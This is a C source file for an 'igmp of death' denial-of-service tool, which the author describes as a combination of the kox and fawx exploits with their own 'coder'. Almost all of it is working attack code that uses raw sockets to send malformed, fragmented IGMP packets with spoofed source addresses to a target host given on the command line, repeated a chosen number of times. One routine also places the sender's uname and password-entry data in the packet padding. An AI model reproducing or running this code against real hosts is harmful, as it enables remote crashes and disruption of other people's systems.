/* This is basically a combination of kox, fawx, and my own
   little toy called coder. Coder sends out random type 2
   igmp codes (the kind used in pimp and pimp2). Anyways 
   for this bit of amusement trash2 was my baseline which this
   is a modified ver of. Stealth_C^; o n metal, fuck you */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <pwd.h>
#include <time.h>
#include <sys/utsname.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/igmp.h>

void banner(void) {
   printf("igmp of death\n");
}
void usage(const char *progname) {
   printf("use : ./igmpofdeath  (target) (number of hits)\n",progname);
}
unsigned int randip()
{
        struct hostent *he;
        struct sockaddr_in sin;
        char *buf = (char *)calloc(1, sizeof(char) * 16);
        sprintf(buf, "%d.%d.%d.%d",
                (random()%191)+23,
                (random()%253)+1,
                (random()%253)+1,
                (random()%253)+1); 
        inet_aton(buf, (struct in_addr *)&sin);
        return sin.sin_addr.s_addr;
}
int resolve( const char *name, unsigned int port, struct sockaddr_in *addr ) {
   struct hostent *host;
   memset(addr,0,sizeof(struct sockaddr_in));
   addr->sin_family = AF_INET;
   addr->sin_addr.s_addr = inet_addr(name);
   if (addr->sin_addr.s_addr == -1) {
      if (( host = gethostbyname(name) ) == NULL )  {
         fprintf(stderr,"err...cant resolve hostname\n",name);
         return(-1);
      }
      addr->sin_family = host->h_addrtype;
      memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
   }
   addr->sin_port = htons(port);
   return(0);
}
unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);                 
    answer = ~sum;                      
    return(answer);
}
int kox(struct sockaddr_in *victim, unsigned long spoof)
{
        int BIGIGMP = 1500;
        unsigned char *pkt;
        struct iphdr *ip;
        struct igmphdr *igmp;
        struct utsname *un;
        struct passwd *p;
        int i, s;
        int id = (random() % 40000) + 500;
        pkt = (unsigned char *)calloc(1, BIGIGMP);
        ip = (struct iphdr *)pkt;
        igmp = (struct igmphdr *)(pkt + sizeof(struct iphdr));
        ip->version = 4;
        ip->ihl = (sizeof *ip) / 4;
        ip->ttl = 255;
        ip->tot_len = htons(BIGIGMP);
        ip->protocol = IPPROTO_IGMP;
        ip->id = htons(id);
        ip->frag_off = htons(IP_MF);
        ip->saddr = spoof;
        ip->daddr = victim->sin_addr.s_addr;
        ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
        igmp->type = 0;
        igmp->group = 0;
        igmp->csum = in_cksum((unsigned short *)igmp, sizeof(struct igmphdr));
        for(i = sizeof(struct iphdr) + sizeof(struct igmphdr) + 1;
            i < BIGIGMP; i++)
                pkt[i] = random() % 255;
#ifndef I_GROK
        un = (struct utsname *)(pkt + sizeof(struct iphdr) +
              sizeof(struct igmphdr) + 40);
        uname(un);
        p = (struct passwd *)((void *)un + sizeof(struct utsname) + 10);
        memcpy(p, getpwuid(getuid()), sizeof(struct passwd));
#endif
        if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
                perror("error: socket()");
                return 1;
        }

        if(sendto(s, pkt, BIGIGMP, 0, victim,
           sizeof(struct sockaddr_in)) == -1) { 
                perror("error: sendto()");
                return 1;
        }

        for(i = 1; i < 5; i++) {
                if(i > 3)
                        ip->frag_off = htons(((BIGIGMP-20) * i) >> 3);
                else
                        ip->frag_off = htons(((BIGIGMP-20) * i) >> 3 | IP_MF);
                sendto(s, pkt, BIGIGMP, 0, victim, sizeof(struct sockaddr_in));
        }

        free(pkt);
        close(s);
        return 0;
}

int fawx(int socket,
                 struct sockaddr_in *dest_addr) {
   
   unsigned char  *packet;
   struct iphdr   *ip;
   struct igmphdr *igmp;
   int rc;
         
       
   packet = (unsigned char *)malloc(sizeof(struct iphdr) +
                                    sizeof(struct igmphdr) + 8);   
    
   ip = (struct iphdr *)packet;
   igmp = (struct igmphdr *)(packet + sizeof(struct iphdr));
   
   memset(ip,0,sizeof(struct iphdr) + sizeof(struct igmphdr) + 8);

   ip->ihl      = 5;
   ip->version  = 4;
   ip->id       = htons(34717);
   ip->frag_off = htons(0x2000);
   ip->ttl      = 255;
   ip->protocol = IPPROTO_IGMP;
   ip->saddr    = rand() % 5430954;  
   ip->daddr    = dest_addr->sin_addr.s_addr;
   ip->check    = in_cksum(ip, sizeof(struct iphdr));

    
   igmp->type              = 8;
   igmp->code              = 0;
     
   if (sendto(socket,
              packet,
              sizeof(struct iphdr) +
              sizeof(struct igmphdr) + 1,0,
              (struct sockaddr *)dest_addr,
              sizeof(struct sockaddr)) == -1) { return(-1); }
    
   ip->tot_len  = htons(sizeof(struct iphdr) + sizeof(struct igmphdr) + 8);
   ip->frag_off = htons(8 >> 3);
   ip->frag_off |= htons(0x2000);
   ip->check    = in_cksum(ip, sizeof(struct iphdr));
   
   igmp->type = 0;
   igmp->code = 0;
   
   if (sendto(socket,
              packet,
              sizeof(struct iphdr) +
              sizeof(struct igmphdr) + 8,0,
              (struct sockaddr *)dest_addr,
              sizeof(struct sockaddr)) == -1) { return(-1); }
     
   free(packet);
   return(0);
              
}

int coder(int socket,struct sockaddr_in *dest_addr) {
	unsigned char  *packet;
	struct iphdr   *ip;
	struct igmphdr *igmp;
	int rc;

	packet = (unsigned char *)malloc(sizeof(struct iphdr) + sizeof(struct igmphdr) + 8);
	ip = (struct iphdr *)packet;
	igmp = (struct igmphdr *)(packet + sizeof(struct iphdr)); 
	memset(ip,0,sizeof(struct iphdr) + sizeof(struct igmphdr) + 8);

	ip->ihl      = 5;
	ip->version  = 4;
 	ip->id       = htons(34717);
	ip->frag_off = htons(0x2000);
	ip->ttl      = 255;
	ip->protocol = IPPROTO_IGMP;
	ip->saddr    = rand() % 5205454;
	ip->daddr    = dest_addr->sin_addr.s_addr;
	ip->check    = in_cksum(ip, sizeof(struct iphdr));
              
	igmp->type              = 2;
	igmp->code              = rand() % 100000000;

 	if (sendto(socket,
              packet,
              sizeof(struct iphdr) +
              sizeof(struct igmphdr) + 1,0,
              (struct sockaddr *)dest_addr,
              sizeof(struct sockaddr)) == -1) { return(-1); }
	free(packet);
	return(0);
}

int main(int argc, char **argv) {
   struct sockaddr_in dest_addr;
   unsigned int i,sock;
   unsigned long src_addr;
   banner();
   if ((argc != 3)) {
      usage(argv[0]);
      return(-1);
   }

   if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
      fprintf(stderr,"Need root for this dude.\n");
      return(-1);
   }

  /*  if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); } */
   src_addr = dest_addr.sin_addr.s_addr;
   if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); }
   printf("Attacking....\n",argv[0]);
   for (i = 0;i < atoi(argv[2]);i++) {
      if (coder(sock,&dest_addr) == -1 || fawx(sock,&dest_addr) == -1 || kox(&dest_addr, randip()) ) {
         fprintf(stderr,"some sorta error has occured....\n");
         return(-1);
      }
   }
}